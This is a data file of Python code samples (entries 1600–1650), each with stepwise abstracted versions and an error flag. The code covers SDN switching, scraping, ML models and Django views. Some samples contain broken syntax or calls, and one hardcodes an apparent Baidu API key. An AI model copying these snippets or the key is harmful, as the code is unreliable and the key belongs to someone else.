index
int64
0
100k
blob_id
stringlengths
40
40
code
stringlengths
7
7.27M
steps
listlengths
1
1.25k
error
bool
2 classes
1,600
fa02fb701b59728671a7e87147adaeb33422dcdb
{'ivy': {'svm': ({'kernel': 'rbf', 'C': 10.0}, 0.034482758620689662, 0.035087719298245612), 'tuned_ensemble': ({'svm__C': 100000.0, 'rf__n_estimators': 101, 'cart__min_samples_leaf': 7, 'knn__n_neighbors': 2, 'rf__random_state': 1542, 'cart__max_depth': 33, 'cart__max_features': 0.35714285714285721, 'svm__kernel': 'sig...
[ "{'ivy': {'svm': ({'kernel': 'rbf', 'C': 10.0}, 0.034482758620689662, 0.035087719298245612), 'tuned_ensemble': ({'svm__C': 100000.0, 'rf__n_estimators': 101, 'cart__min_samples_leaf': 7, 'knn__n_neighbors': 2, 'rf__random_state': 1542, 'cart__max_depth': 33, 'cart__max_features': 0.35714285714285721, 'svm__kernel':...
false
1,601
02ffdd1c03cc20883eddc691fc841022b4ff40fd
import os import urllib.request as ulib import json from bs4 import BeautifulSoup as Bsoup def find_links(name): name = name.replace(" ", "+") url_str = 'https://www.google.com/search?ei=1m7NWePfFYaGmQG51q7IBg&hl=en&q={}' + \ '\&tbm=isch&ved=0ahUKEwjjovnD7sjWAhUGQyYKHTmrC2kQuT0I7gEoAQ&start={}'...
[ "import os\nimport urllib.request as ulib\nimport json\nfrom bs4 import BeautifulSoup as Bsoup\n\n\ndef find_links(name):\n name = name.replace(\" \", \"+\")\n\n url_str = 'https://www.google.com/search?ei=1m7NWePfFYaGmQG51q7IBg&hl=en&q={}' + \\\n '\\&tbm=isch&ved=0ahUKEwjjovnD7sjWAhUGQyYKHTmrC2k...
false
1,602
290f96bb210a21183fe1e0e53219ad38ba889625
default_app_config = 'child.apps.ChildConfig'
[ "default_app_config = 'child.apps.ChildConfig'\n", "<assignment token>\n" ]
false
1,603
d088aadc4d88267b908c4f6de2928c812ef36739
import pygame from pygame.sprite import Sprite import spritesheet class Bunker(Sprite): def __init__(self, ai_settings, bunker_x, bunker_y, screen, images): """Initialize the ship and set its starting position""" super(Bunker, self).__init__() self.screen = screen self.images = ima...
[ "import pygame\nfrom pygame.sprite import Sprite\nimport spritesheet\n\nclass Bunker(Sprite):\n\n def __init__(self, ai_settings, bunker_x, bunker_y, screen, images):\n \"\"\"Initialize the ship and set its starting position\"\"\"\n super(Bunker, self).__init__()\n self.screen = screen\n ...
false
1,604
02ab822dacb26d623a474fa45ebb034f9c1291b8
# coding: utf-8 from pyquery import PyQuery as pq html = ''' <div id="container"> <ul class="list"> <li class="item-0">first item</li> <li class="item-1"><a href="link2.html">second item</a></li> <li class="item-0 active"><a href="link3.html">third item</a></li> ...
[ "# coding: utf-8\n\nfrom pyquery import PyQuery as pq\n\n\nhtml = '''\n <div id=\"container\">\n <ul class=\"list\">\n <li class=\"item-0\">first item</li>\n <li class=\"item-1\"><a href=\"link2.html\">second item</a></li>\n <li class=\"item-0 active\"><a href=\"link3.html...
false
1,605
f7afd08fb8316e44c314d17ef382b98dde7eef91
#!/usr/bin/env python # -*- coding:utf-8 -*- # Author: Yuan import time import sys def jindutiao(jindu,zonge): ret = (jindu/zonge)*100 r = "\r%s%d%%"%("="*jindu,ret) sys.stdout.write(r) sys.stdout.flush() if __name__ =="__main__": for i in range(101): time.sleep(0.1) jindutia...
[ "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# Author: Yuan\n\n\nimport time\n\nimport sys\n\ndef jindutiao(jindu,zonge):\n\n ret = (jindu/zonge)*100\n\n r = \"\\r%s%d%%\"%(\"=\"*jindu,ret)\n sys.stdout.write(r)\n sys.stdout.flush()\n\n\nif __name__ ==\"__main__\":\n for i in range(101):\n ...
false
1,606
7620ff333422d0354cc41c2a66444c3e8a0c011f
from django import forms from django.core import validators class NameSearch(forms.Form): name= forms.CharField(label='Search By Name')
[ "from django import forms\nfrom django.core import validators\n\n\nclass NameSearch(forms.Form):\n name= forms.CharField(label='Search By Name')\n \n", "from django import forms\nfrom django.core import validators\n\n\nclass NameSearch(forms.Form):\n name = forms.CharField(label='Search By Name')\n", "...
false
1,607
18b82f83d3bf729eadb2bd5a766f731a2c54a93b
class Solution: def searchRange(self, nums: List[int], target: int) -> List[int]: res = [-1, -1] def binary_serach(left, right, target, res): if left >= right: return mid = (left + right) // 2 if nums[mid] == target: ...
[ "class Solution:\n def searchRange(self, nums: List[int], target: int) -> List[int]:\n res = [-1, -1]\n \n def binary_serach(left, right, target, res):\n if left >= right:\n return\n \n mid = (left + right) // 2\n if nums[mid] == tar...
false
1,608
86d032a3cd67118eb46073c996f1c9a391f8dfe0
from ryu.base import app_manager from ryu.controller import ofp_event from ryu.controller.handler import MAIN_DISPATCHER from ryu.controller.handler import set_ev_cls from ryu.ofproto import ofproto_v1_0 from ryu.lib.mac import haddr_to_bin from ryu.lib.packet import packet from ryu.lib.packet import ethernet from ryu...
[ "from ryu.base import app_manager\nfrom ryu.controller import ofp_event\nfrom ryu.controller.handler import MAIN_DISPATCHER\nfrom ryu.controller.handler import set_ev_cls\nfrom ryu.ofproto import ofproto_v1_0\n\nfrom ryu.lib.mac import haddr_to_bin\nfrom ryu.lib.packet import packet\nfrom ryu.lib.packet import ethe...
false
1,609
e9890fcf9ad2a78b3400f6e4eeb75deac8edcd6a
from neodroidagent.entry_points.agent_tests import sac_gym_test if __name__ == "__main__": sac_gym_test()
[ "from neodroidagent.entry_points.agent_tests import sac_gym_test\n\nif __name__ == \"__main__\":\n sac_gym_test()\n", "from neodroidagent.entry_points.agent_tests import sac_gym_test\nif __name__ == '__main__':\n sac_gym_test()\n", "<import token>\nif __name__ == '__main__':\n sac_gym_test()\n", "<im...
false
1,610
c8fecb6bfbd39e7a82294c9e0f9e5eaf659b7fed
# Exercise 1 - linear.py import numpy as np import keras # Build the model model = keras.Sequential([keras.layers.Dense(units=1,input_shape=[1])]) # Set the loss and optimizer function model.compile(optimizer='sgd', loss='mean_squared_error') # Initialize input data xs = np.array([-1.0, 0.0, 1.0, 2.0, 3.0, 4.0], dtype=...
[ "# Exercise 1 - linear.py\nimport numpy as np\nimport keras\n# Build the model\nmodel = keras.Sequential([keras.layers.Dense(units=1,input_shape=[1])])\n# Set the loss and optimizer function\nmodel.compile(optimizer='sgd', loss='mean_squared_error')\n# Initialize input data\nxs = np.array([-1.0, 0.0, 1.0, 2.0, 3.0,...
false
1,611
a55daebd85002640db5e08c2cf6d3e937b883f01
#!/usr/bin/env python3 """ Calculates the maximization step in the EM algorithm for a GMM """ import numpy as np def maximization(X, g): """ Returns: pi, m, S, or None, None, None on failure """ if type(X) is not np.ndarray or len(X.shape) != 2: return None, None, None if type(g) is not...
[ "#!/usr/bin/env python3\n\"\"\"\nCalculates the maximization step in the EM algorithm for a GMM\n\"\"\"\n\n\nimport numpy as np\n\n\ndef maximization(X, g):\n \"\"\"\n Returns: pi, m, S, or None, None, None on failure\n \"\"\"\n if type(X) is not np.ndarray or len(X.shape) != 2:\n return None, No...
false
1,612
512d0a293b0cc3e6f7d84bb6958dc6693acde680
# I Have Created this file -Nabeel from django.http import HttpResponse from django.shortcuts import render def index(request): return render(request,'index.html') def aboutme(request): return HttpResponse (" <a href='https://nb786.github.io/Ncoder/about.html' > Aboutme</a>") def contact(request): retur...
[ "# I Have Created this file -Nabeel\n\nfrom django.http import HttpResponse\nfrom django.shortcuts import render\n\ndef index(request):\n return render(request,'index.html')\n\n\ndef aboutme(request):\n return HttpResponse (\" <a href='https://nb786.github.io/Ncoder/about.html' > Aboutme</a>\")\n\ndef contact(...
false
1,613
37cafe5d3d3342e5e4070b87caf0cfb5bcfdfd8d
from tkinter.ttk import * from tkinter import * import tkinter.ttk as ttk from tkinter import messagebox import sqlite3 root = Tk() root.title('Register-Form') root.geometry("600x450+-2+86") root.minsize(120, 1) def delete(): if(Entry1.get()==''): messagebox.showerror('Register-Form', 'ID Is compolsary fo...
[ "from tkinter.ttk import *\nfrom tkinter import *\nimport tkinter.ttk as ttk\nfrom tkinter import messagebox\nimport sqlite3\n\nroot = Tk()\nroot.title('Register-Form')\nroot.geometry(\"600x450+-2+86\")\nroot.minsize(120, 1)\n\ndef delete():\n if(Entry1.get()==''):\n messagebox.showerror('Register-Form', ...
false
1,614
9b3c2604b428295eda16030b45cf739e714f3d00
''' Module for interaction with database ''' import sqlite3 from enum import Enum DB_NAME = 'categories.db' class State(Enum): ok = True error = False def get_db_connection(): try: global connection connection = sqlite3.connect(DB_NAME) cursor = connection.cursor() exce...
[ "'''\n Module for interaction with database\n'''\n\nimport sqlite3\nfrom enum import Enum\n\nDB_NAME = 'categories.db'\n\n\nclass State(Enum):\n ok = True\n error = False\n\n\ndef get_db_connection():\n try:\n global connection\n connection = sqlite3.connect(DB_NAME)\n cursor = conn...
false
1,615
a3507019ca3310d7ad7eb2a0168dcdfe558643f6
# -*- coding: UTF-8 -*- ''' Evaluate trained PredNet on KITTI sequences. Calculates mean-squared error and plots predictions. ''' import os import numpy as np from six.moves import cPickle import matplotlib matplotlib.use('Agg') import matplotlib.pyplot as plt import matplotlib.gridspec as gridspec from keras import ...
[ "# -*- coding: UTF-8 -*-\n'''\nEvaluate trained PredNet on KITTI sequences.\nCalculates mean-squared error and plots predictions.\n'''\n\nimport os\nimport numpy as np\nfrom six.moves import cPickle\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\n\...
false
1,616
7081211336793bfde60b5c922f6ab9461a475949
import time import optparse from IPy import IP as IPTEST ttlValues = {} THRESH = 5 def checkTTL(ipsrc,ttl): if IPTEST(ipsrc).iptype() == 'PRIVATE': return if not ttlValues.has_key(ipsrc): pkt = srl(IP(dst=ipsrc) / TCMP(),retry=0,timeout=0,verbose=0) ttlValues[ipsrc] = pkt.ttl ...
[ "import time\r\nimport optparse\r\nfrom IPy import IP as IPTEST\r\nttlValues = {}\r\nTHRESH = 5\r\ndef checkTTL(ipsrc,ttl):\r\n if IPTEST(ipsrc).iptype() == 'PRIVATE':\r\n return\r\n if not ttlValues.has_key(ipsrc):\r\n pkt = srl(IP(dst=ipsrc) / TCMP(),retry=0,timeout=0,verbose=0)\r\n ttl...
true
1,617
535fdee8f74b1984c5d1a5ec929310473b01239d
import numpy as np import tensorflow as tf from tensorflow import keras from tensorflow.keras.initializers import RandomUniform class Critic: def __init__(self, obs_dim, action_dim, learning_rate=0.001): self.obs_dim = obs_dim self.action_dim = action_dim self.model = self.make_network() ...
[ "import numpy as np\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras.initializers import RandomUniform\n\nclass Critic:\n def __init__(self, obs_dim, action_dim, learning_rate=0.001):\n self.obs_dim = obs_dim\n self.action_dim = action_dim\n self.model = self.mak...
false
1,618
192bd3c783f6f822f8e732ddf47d7fc3b22c032b
"""Create a new Node object and attach it a Linked List.""" class Node(object): """Build a node object.""" def __init__(self, data=None, next=None): """Constructor for the Node object.""" self.data = data self.next = next class LinkedList(object): """Build linked list.""" d...
[ "\"\"\"Create a new Node object and attach it a Linked List.\"\"\"\n\n\nclass Node(object):\n \"\"\"Build a node object.\"\"\"\n\n def __init__(self, data=None, next=None):\n \"\"\"Constructor for the Node object.\"\"\"\n self.data = data\n self.next = next\n\n\nclass LinkedList(object):\...
false
1,619
6acb253189798c22d47feb3d61ac68a1851d22ba
import pickle from generation_code import serial_filename import serial_output_code import numpy as np from shutil import copyfile from os import remove # This file is only temporary, mostly to be used when updating the # reference output from a regression test, to ensure that, in all # aspects that are in common with...
[ "import pickle\nfrom generation_code import serial_filename\nimport serial_output_code\nimport numpy as np\nfrom shutil import copyfile\nfrom os import remove\n\n# This file is only temporary, mostly to be used when updating the\n# reference output from a regression test, to ensure that, in all\n# aspects that are ...
false
1,620
be90dcb4bbb69053e9451479990e030cd4841e4a
#-*- coding: utf8 -*- #credits to https://github.com/pytorch/examples/blob/master/imagenet/main.py import shutil, time, logging import torch import torch.optim import numpy as np import visdom, copy from datetime import datetime from collections import defaultdict from generic_models.yellowfin import YFOptimizer logg...
[ "#-*- coding: utf8 -*-\n#credits to https://github.com/pytorch/examples/blob/master/imagenet/main.py\nimport shutil, time, logging\nimport torch\nimport torch.optim\nimport numpy as np\nimport visdom, copy\nfrom datetime import datetime\nfrom collections import defaultdict\nfrom generic_models.yellowfin import YFOp...
true
1,621
d6e836140b1f9c955711402111dc07e74b4a23b1
""" This module provides a script to extract data from all JSON files stored in a specific directory and create a HTML table for an better overview of the data. .. moduleauthor:: Maximilian Springenberg <mspringenberg@gmail.com> | """ from collections import defaultdict from argparse import ArgumentParser import os...
[ "\"\"\"\nThis module provides a script to extract data from all JSON files stored in a specific directory and create a HTML\ntable for an better overview of the data.\n\n.. moduleauthor:: Maximilian Springenberg <mspringenberg@gmail.com>\n\n|\n\n\"\"\"\nfrom collections import defaultdict\nfrom argparse import Argu...
false
1,622
74939f81e999b8e239eb64fa10b56f48c47f7d94
# Problem Statement – An automobile company manufactures both a two wheeler (TW) and a four wheeler (FW). A company manager wants to make the production of both types of vehicle according to the given data below: # 1st data, Total number of vehicle (two-wheeler + four-wheeler)=v # 2nd data, Total number of wheels = W ...
[ "# Problem Statement – An automobile company manufactures both a two wheeler (TW) and a four wheeler (FW). A company manager wants to make the production of both types of vehicle according to the given data below:\n\n# 1st data, Total number of vehicle (two-wheeler + four-wheeler)=v\n# 2nd data, Total number of whe...
false
1,623
b9675bc65e06624c7f039188379b76da8e58fb19
#!/usr/bin/env python # encoding: utf-8 from tree import * def findKthNode(root, k): if not root: return None if root.number < k or k <= 0: return None if k == 1: return root if root.left and root.left.number >= k-1: return findKthNode(root.left, k - 1) else: ...
[ "#!/usr/bin/env python\n# encoding: utf-8\n\nfrom tree import *\n\ndef findKthNode(root, k):\n if not root:\n return None\n if root.number < k or k <= 0:\n return None\n if k == 1:\n return root\n if root.left and root.left.number >= k-1:\n return findKthNode(root.left, k - 1...
false
1,624
53de53614b3c503a4232c00e8f2fd5a0f4cb6615
#!/usr/bin/python3 """ request api and write in JSON file all tasks todo for every users """ import json import requests import sys if __name__ == "__main__": req = "https://jsonplaceholder.typicode.com/todos" response = requests.get(req).json() d = {} req_user = "https://jsonplaceholder.typic...
[ "#!/usr/bin/python3\n\"\"\"\n request api and write in JSON file\n all tasks todo for every users\n\"\"\"\nimport json\nimport requests\nimport sys\n\n\nif __name__ == \"__main__\":\n req = \"https://jsonplaceholder.typicode.com/todos\"\n response = requests.get(req).json()\n d = {}\n req_user = \...
false
1,625
24cd3a1a05a1cfa638b8264fd89b36ee63b29f89
from setuptools import setup setup( name="CoreMLModules", version="0.1.0", url="https://github.com/AfricasVoices/CoreMLModules", packages=["core_ml_modules"], setup_requires=["pytest-runner"], install_requires=["numpy", "scikit-learn", "nltk"], tests_require=["pytest<=3.6.4"] )
[ "from setuptools import setup\n\nsetup(\n name=\"CoreMLModules\",\n version=\"0.1.0\",\n url=\"https://github.com/AfricasVoices/CoreMLModules\",\n packages=[\"core_ml_modules\"],\n setup_requires=[\"pytest-runner\"],\n install_requires=[\"numpy\", \"scikit-learn\", \"nltk\"],\n tests_require=[\...
false
1,626
e7ef8debbff20cb178a3870b9618cbb0652af5af
#!/usr/bin/env python # # Copyright 2007 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law o...
[ "#!/usr/bin/env python\n#\n# Copyright 2007 Google Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by...
true
1,627
09a5c96b7f496aca6b34d7f0a83d5b1e182ca409
def quick_sort(arr): q_sort(arr, 0, len(arr) - 1) def q_sort(arr, left, right): if left < right: pivot_index = partition(arr, left, right) q_sort(arr, left, pivot_index - 1) q_sort(arr, pivot_index + 1, right) def partition(arr, left, right): pivot = arr[left] while left < ...
[ "def quick_sort(arr):\n q_sort(arr, 0, len(arr) - 1)\n\n\ndef q_sort(arr, left, right):\n if left < right:\n pivot_index = partition(arr, left, right)\n\n q_sort(arr, left, pivot_index - 1)\n q_sort(arr, pivot_index + 1, right)\n\n\ndef partition(arr, left, right):\n pivot = arr[left]\...
false
1,628
7feac838f17ef1e4338190c0e8c284ed99369693
#/usr/bin/env python #v0.2 import random, time mapHeight = 30 mapWidth = 30 fillPercent = 45 def generateNoise(): #generate a grid of cells with height = mapHeight and width = mapWidth with each cell either "walls" (true) or "floors" (false) #border is guaranteed to be walls and all other spaces have a fi...
[ "#/usr/bin/env python\r\n#v0.2\r\nimport random, time\r\n\r\nmapHeight = 30\r\nmapWidth = 30\r\nfillPercent = 45\r\n\r\ndef generateNoise():\r\n\t#generate a grid of cells with height = mapHeight and width = mapWidth with each cell either \"walls\" (true) or \"floors\" (false)\r\n\t#border is guaranteed to be walls...
false
1,629
d39f6fca80f32a4d13764eb5cfb29999785b1d16
import random my_randoms = random.sample(100, 10) print(my_randoms)
[ "import random\nmy_randoms = random.sample(100, 10)\nprint(my_randoms)\n", "<import token>\nmy_randoms = random.sample(100, 10)\nprint(my_randoms)\n", "<import token>\n<assignment token>\nprint(my_randoms)\n", "<import token>\n<assignment token>\n<code token>\n" ]
false
1,630
53509d826b82211bac02ea5f545802007b06781c
# Register all decoders import ludwig.schema.decoders.base import ludwig.schema.decoders.sequence_decoders # noqa
[ "# Register all decoders\nimport ludwig.schema.decoders.base\nimport ludwig.schema.decoders.sequence_decoders # noqa\n", "import ludwig.schema.decoders.base\nimport ludwig.schema.decoders.sequence_decoders\n", "<import token>\n" ]
false
1,631
b10d3d8d0ded0d2055c1abdaf40a97abd4cb2cb8
import numpy as np import matplotlib.pyplot as plt from scipy import stats def fit(x, iters=1000, eps=1e-6): """ Fits a 2-parameter Weibull distribution to the given data using maximum-likelihood estimation. :param x: 1d-ndarray of samples from an (unknown) distribution. Each value must satisfy x ...
[ "import numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom scipy import stats\r\n\r\n\r\ndef fit(x, iters=1000, eps=1e-6):\r\n \"\"\"\r\n Fits a 2-parameter Weibull distribution to the given data using maximum-likelihood estimation.\r\n :param x: 1d-ndarray of samples from an (unknown) distribution. Ea...
false
1,632
7c6ac2837751703ac4582ee81c29ccf67b8277bc
from django.shortcuts import render, get_object_or_404 from django.views.generic import ListView, CreateView, UpdateView, DeleteView, DetailView from accounts.models import Employee from leave.models import ApplyLeave from departments.models import Department, Position from django.contrib.auth.models import User from...
[ "from django.shortcuts import render, get_object_or_404\nfrom django.views.generic import ListView, CreateView, UpdateView, DeleteView, DetailView\nfrom accounts.models import Employee\nfrom leave.models import ApplyLeave \nfrom departments.models import Department, Position \nfrom django.contrib.auth.models import...
false
1,633
4e50a7a757bacb04dc8f292bdaafb03c86042e6c
import time from tests.test_base import BaseTest from pages.campo_de_treinamento_page import CampoDeTreinamentoPage class TestCadastro(BaseTest): def test_cadastro_com_sucesso(self): self.campoDeTreinamento = CampoDeTreinamentoPage(self.driver) self.campoDeTreinamento.fill_name("Everton") ...
[ "import time\nfrom tests.test_base import BaseTest\nfrom pages.campo_de_treinamento_page import CampoDeTreinamentoPage\n\n\nclass TestCadastro(BaseTest):\n def test_cadastro_com_sucesso(self):\n self.campoDeTreinamento = CampoDeTreinamentoPage(self.driver)\n self.campoDeTreinamento.fill_name(\"Ever...
false
1,634
941a93c66a5131712f337ad055bbf2a93e6ec10d
#!/usr/bin/env python #coding=utf-8 #author:maohan #date:20160706 #decription:通过百度api获取相关信息,并保存为xls格式 #ver:1.0 import urllib2 import json import sys from pyExcelerator import * def bd_finder(qw,region,page_num): page_size='20' bd_ak='wkEmrv7B1l0KPpi30F1G2VMx10xEdeol' bd_url='http://api.map.baidu.com/place/v2/search?...
[ "#!/usr/bin/env python\n#coding=utf-8\n#author:maohan\n#date:20160706\n#decription:通过百度api获取相关信息,并保存为xls格式\n#ver:1.0\nimport urllib2\nimport json\nimport sys\nfrom pyExcelerator import *\ndef bd_finder(qw,region,page_num):\n\tpage_size='20'\n\tbd_ak='wkEmrv7B1l0KPpi30F1G2VMx10xEdeol'\n\tbd_url='http://api.map.baidu...
false
1,635
5923a12378225fb6389e7e0275af6d4aa476fe87
import logging from logging import INFO from typing import Dict, List from .constants import Relations, POS from .evaluator import * from .general import DPHelper from .general import * from .utils import * # ========================================= DRIVER ================================================= def genera...
[ "import logging\nfrom logging import INFO\nfrom typing import Dict, List\nfrom .constants import Relations, POS\nfrom .evaluator import *\nfrom .general import DPHelper\nfrom .general import *\nfrom .utils import *\n\n# ========================================= DRIVER ===============================================...
false
1,636
75990147e4a3dae1b590729ed659e2ddcbfb295d
## More Review + More Linked Lists ## ##Given a pointer to the head node of a linked list whose data elements are in non-decreasing order, you must delete any duplicate nodes and print the updated list. ##Code handling I/O is provided in the editor. Complete the removeDuplicates(Node) function. ##Note: The head poi...
[ "## More Review + More Linked Lists ##\n\n##Given a pointer to the head node of a linked list whose data elements are in non-decreasing order, you must delete any duplicate nodes and print the updated list.\n##Code handling I/O is provided in the editor. Complete the removeDuplicates(Node) function. \n##Note: The...
true
1,637
c268c61e47698d07b7c1461970dc47242af55777
# -*- coding: utf-8 -*- #借鉴的扫码单文件 import qrcode from fake_useragent import UserAgent from threading import Thread import time, base64 import requests from io import BytesIO import http.cookiejar as cookielib from PIL import Image import os requests.packages.urllib3.disable_warnings() ua = UserAgent(pa...
[ "# -*- coding: utf-8 -*-\r\n#借鉴的扫码单文件\r\nimport qrcode\r\nfrom fake_useragent import UserAgent\r\nfrom threading import Thread\r\nimport time, base64\r\nimport requests\r\nfrom io import BytesIO\r\nimport http.cookiejar as cookielib\r\nfrom PIL import Image\r\nimport os\r\n\r\nrequests.packages.urllib3.disable_warn...
false
1,638
824038a56e8aaf4adf6ec813a5728ab318547582
""" common tests """ from django.test import TestCase from src.core.common import get_method_config from src.predictive_model.classification.models import ClassificationMethods from src.predictive_model.models import PredictiveModels from src.utils.tests_utils import create_test_job, create_test_predictive_model cl...
[ "\"\"\"\ncommon tests\n\"\"\"\n\nfrom django.test import TestCase\n\nfrom src.core.common import get_method_config\nfrom src.predictive_model.classification.models import ClassificationMethods\nfrom src.predictive_model.models import PredictiveModels\nfrom src.utils.tests_utils import create_test_job, create_test_p...
false
1,639
ea6d726e8163ed0f93b8078323fa5f4e9115ad73
# Copyright (c) 2021 Cisco and/or its affiliates. # # SPDX-License-Identifier: Apache-2.0 OR GPL-2.0-or-later # # Licensed under the Apache License 2.0 or # GNU General Public License v2.0 or later; you may not use this file # except in compliance with one of these Licenses. You # may obtain a copy of the Licenses at:...
[ "# Copyright (c) 2021 Cisco and/or its affiliates.\n#\n# SPDX-License-Identifier: Apache-2.0 OR GPL-2.0-or-later\n#\n# Licensed under the Apache License 2.0 or\n# GNU General Public License v2.0 or later; you may not use this file\n# except in compliance with one of these Licenses. You\n# may obtain a copy of the ...
false
1,640
0058a6d3c9d4e600885b876614362ea4401ce2fe
import time with open("src/time.txt", "w") as f: f.write(str(int(time.time())))
[ "import time\n\nwith open(\"src/time.txt\", \"w\") as f:\n f.write(str(int(time.time())))", "import time\nwith open('src/time.txt', 'w') as f:\n f.write(str(int(time.time())))\n", "<import token>\nwith open('src/time.txt', 'w') as f:\n f.write(str(int(time.time())))\n", "<import token>\n<code token>\...
false
1,641
3be1947ead65f8e8a9bf73cc8cae2c7d69d8b756
import flask import numpy as np import pandas as pd import requests from bs4 import BeautifulSoup import pickle from recent_earnings_tickers import ok_tickers import re #---------- Model ----------------# #with open('/Users/samfunk/ds/metis/project_mcnulty/code/REPLACE_WITH_MODEL_PICKLE', 'rb') as f: #PREDICTOR =...
[ "import flask\nimport numpy as np\nimport pandas as pd\nimport requests\nfrom bs4 import BeautifulSoup\nimport pickle\nfrom recent_earnings_tickers import ok_tickers\nimport re\n\n#---------- Model ----------------#\n\n#with open('/Users/samfunk/ds/metis/project_mcnulty/code/REPLACE_WITH_MODEL_PICKLE', 'rb') as f:\...
false
1,642
137ed9c36265781dbebabbd1ee0ea84c9850201a
import tkinter as tk from tkinter import Tk, ttk from tkinter import filedialog import matplotlib.pyplot as plt import numpy as np import matplotlib from matplotlib.backends.backend_tkagg import ( FigureCanvasTkAgg, NavigationToolbar2Tk) from matplotlib.figure import Figure import matplotlib.animation as animation ...
[ "import tkinter as tk\nfrom tkinter import Tk, ttk\nfrom tkinter import filedialog\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport matplotlib\nfrom matplotlib.backends.backend_tkagg import (\n FigureCanvasTkAgg, NavigationToolbar2Tk)\nfrom matplotlib.figure import Figure\nimport matplotlib.animation...
false
1,643
ab35684166f07a3ab9e64f2ff98980e25a3fc576
from django.conf import settings from .base import * import os DEBUG = True SECRET_KEY = os.environ['SECRET_KEY'] ROOT_URLCONF = 'floweryroad.urls.docker_production' ALLOWED_HOSTS = [os.environ['WEB_HOST']] CORS_ORIGIN_WHITELIST = [ os.environ['CORS'] ] DATABASES = { 'default': { 'ENGINE': 'django...
[ "from django.conf import settings\nfrom .base import *\nimport os\n\nDEBUG = True\n\nSECRET_KEY = os.environ['SECRET_KEY']\n\nROOT_URLCONF = 'floweryroad.urls.docker_production'\n\nALLOWED_HOSTS = [os.environ['WEB_HOST']]\n\nCORS_ORIGIN_WHITELIST = [\n os.environ['CORS']\n]\n\nDATABASES = {\n 'default': {\n ...
false
1,644
f13ccbfb27788deca0d4f4b58a4e9e8c7e8e0306
import weakref from enum import Enum from functools import partial from typing import TYPE_CHECKING import inflection if TYPE_CHECKING: from stake.client import StakeClient camelcase = partial(inflection.camelize, uppercase_first_letter=False) __all__ = ["SideEnum"] class SideEnum(str, Enum): BUY = "B" ...
[ "import weakref\nfrom enum import Enum\nfrom functools import partial\nfrom typing import TYPE_CHECKING\n\nimport inflection\n\nif TYPE_CHECKING:\n from stake.client import StakeClient\n\ncamelcase = partial(inflection.camelize, uppercase_first_letter=False)\n\n__all__ = [\"SideEnum\"]\n\n\nclass SideEnum(str, E...
false
1,645
bf41ab20b9fae9f19efdc58852e48d9b735f34c3
user_schema = { 'id': { 'type': 'string', 'required': True, 'coerce': (str, lambda x: x.lower()) }, 'latitude':{ 'type': 'float', 'required': True, 'min': -60.0, 'max': 10, 'coerce': (float, lambda x: round(x, 5)) }, 'longitude':{ ...
[ "user_schema = { \n 'id': {\n 'type': 'string',\n 'required': True,\n 'coerce': (str, lambda x: x.lower())\n },\n 'latitude':{\n 'type': 'float',\n 'required': True,\n 'min': -60.0,\n 'max': 10,\n 'coerce': (float, lambda x: round(x, 5))\n },\n ...
false
1,646
fccdf75fe83ad8388c12a63555c4132181fd349a
import os import time from datetime import datetime from typing import List, Tuple from pyspark.sql import SparkSession from Chapter01.utilities01_py.helper_python import create_session from Chapter02.utilities02_py.domain_objects import WarcRecord from Chapter02.utilities02_py.helper_python import extract_raw_records,...
[ "import os\nimport time\nfrom datetime import datetime\nfrom typing import List, Tuple\nfrom pyspark.sql import SparkSession\nfrom Chapter01.utilities01_py.helper_python import create_session\nfrom Chapter02.utilities02_py.domain_objects import WarcRecord\nfrom Chapter02.utilities02_py.helper_python import extract_...
false
1,647
27f001f4e79291825c56642693894375fef3e66a
import re def read_input(): with open('../input/day12.txt') as f: lines = f.readlines() m = re.search(r'initial state:\s([\.#]+)', lines[0]) initial_state = m.groups()[0] prog = re.compile(r'([\.#]{5})\s=>\s([\.#])') rules = [] for i in range(2, len(lines)): m = prog.search(line...
[ "import re\n\ndef read_input():\n with open('../input/day12.txt') as f:\n lines = f.readlines()\n m = re.search(r'initial state:\\s([\\.#]+)', lines[0])\n initial_state = m.groups()[0]\n prog = re.compile(r'([\\.#]{5})\\s=>\\s([\\.#])')\n rules = []\n for i in range(2, len(lines)):\n ...
false
1,648
0ce69b7ce99b9c01892c240d5b268a9510af4503
import unittest from battleline.model.Formation import Formation, FormationInvalidError class TestFormation(unittest.TestCase): def test_formation_with_less_than_three_cards_is_considered_invalid(self): self.assertRaisesRegexp( FormationInvalidError, "Formation must have 3 cards", Formation, ...
[ "import unittest\nfrom battleline.model.Formation import Formation, FormationInvalidError\n\n\nclass TestFormation(unittest.TestCase):\n\n def test_formation_with_less_than_three_cards_is_considered_invalid(self):\n self.assertRaisesRegexp(\n FormationInvalidError, \"Formation must have 3 cards...
false
1,649
81233eb12b8447d017b31f200ab7902dcce45496
a = float(input('Digite um valor: ')) b = float(input('Digite outro valor: ')) c = float(input('Digite mais um valor: ')) if a == b or b == c: print('Com os números digitados, formam um triângulo EQUILATERO.') elif a <> b and b <> c and c == a and b == c: print('Com os números digitados, formam um triângulo ISO...
[ "a = float(input('Digite um valor: '))\nb = float(input('Digite outro valor: '))\nc = float(input('Digite mais um valor: '))\nif a == b or b == c:\n print('Com os números digitados, formam um triângulo EQUILATERO.')\nelif a <> b and b <> c and c == a and b == c:\n print('Com os números digitados, formam um tr...
true
1,650
f6fee18898636ad6b0dc6d96d28dead4e09b8035
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Wed Sep 18 13:36:13 2019 @author: gennachiaro """ import pandas as pd import numpy as np import matplotlib.pyplot as plt import seaborn as sns; sns.set() import pyrolite.plot from pyrolite.plot.spider import spider #read in data df = pd.read_csv('/users/ge...
[ "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Sep 18 13:36:13 2019\n\n@author: gennachiaro\n\"\"\"\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns; sns.set()\nimport pyrolite.plot\nfrom pyrolite.plot.spider import spider\n\n#read in data\nd...
